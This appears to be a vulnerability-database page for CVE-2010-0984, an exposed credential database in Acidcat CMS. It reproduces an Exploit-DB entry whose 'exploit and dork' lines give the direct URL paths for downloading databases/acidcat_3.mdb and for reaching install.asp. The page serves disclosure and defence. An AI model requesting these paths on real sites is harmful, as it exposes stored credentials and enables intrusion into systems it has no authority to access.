CVE-2010-0984

medium

Published 2010-03-16 · Modified 2026-04-29

💬 Discuss on Community ✚ Propose mitigation

CVSS v3

—

CVSS v4 NEW

—

not yet in upstream

VIR risk

6.0

Description

Acidcat CMS 3.5.3 and earlier stores sensitive information under the web root with insufficient access control, which allows remote attackers to download a database containing credentials via a direct request for databases/acidcat_3.mdb.

Predictions

Exploit likelihood

20%

Patch ETA

—

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-10972 webapps asp verified text · 2 KB

LionTurk · 2010-01-03

Acidcat CMS 3.5 - Multiple Vulnerabilities

text exploit Source: Exploit-DB

==============================================================================  

                      _      _       _          _      _   _  

                     / \    | |     | |        / \    | | | |  

                    / _ \   | |     | |       / _ \   | |_| |  

                   / ___ \  | |___  | |___   / ___ \  |  _  |  

                  /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|  

   

   

==============================================================================  

        [»] ~ Note : Forever RevengeHack.Com-Ar-Ge.Org Acildi

==============================================================================  

        [»]Acidcat CMS v 3.5  Multi Vulnerability 

==============================================================================  

   

    [»] Script:             [  Mini-NUKE v2.3 Freehost  ]  

    [»] Language:           [ ASP ]  

    [»] Download:           [ http://www.acidcat.com/default.asp?itemID=202&itemTitle=Download Free] 

    [»] Founder:            [ LionTurk -  Bylionturk@kafam1milyon.com }

    [»] My Home:            [ RevengeHack.com and Ar-ge.Org ]  

    [»]N0T3    :             Yeni Aciklarimi Bekleyin.


###########################################################################  

   

===[ Exploit And Dork  ]===  

   

  [»] http://server/[dizin]/databases/acidcat_3.mdb

  [»] http://server/[dizin]/install.asp


 


  [»] Powered by Acidcat CMS v 3.5.1.f
 




Author:  LionTurk <-  

Bizim Asiret: eXceptioN,CodeInside,CristaL1o,Hack3ra,eXtReMe,By_HKC,TerrorZveng

                 

- Ben Ne Heykirlar Gordum  site heyklicek exploiti yok.Ben Ne exploitler gordum kullancak heykir yok :D

                                 


###########################################################################

Application impact

Vendor	Product	Versions
acidcat	acidcat_cms	`{"endIncluding":"3.5.3"}`
acidcat	acidcat_cms	`2.1.11`
acidcat	acidcat_cms	`2.1.12`
acidcat	acidcat_cms	`2.1.13`
acidcat	acidcat_cms	`3.3.5`
acidcat	acidcat_cms	`3.4.0`
acidcat	acidcat_cms	`3.4.1`
acidcat	acidcat_cms	`3.4.2`
acidcat	acidcat_cms	`3.5.0`
acidcat	acidcat_cms	`3.5.1`
acidcat	acidcat_cms	`3.5.2`

References

CWEs

CWE-264

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.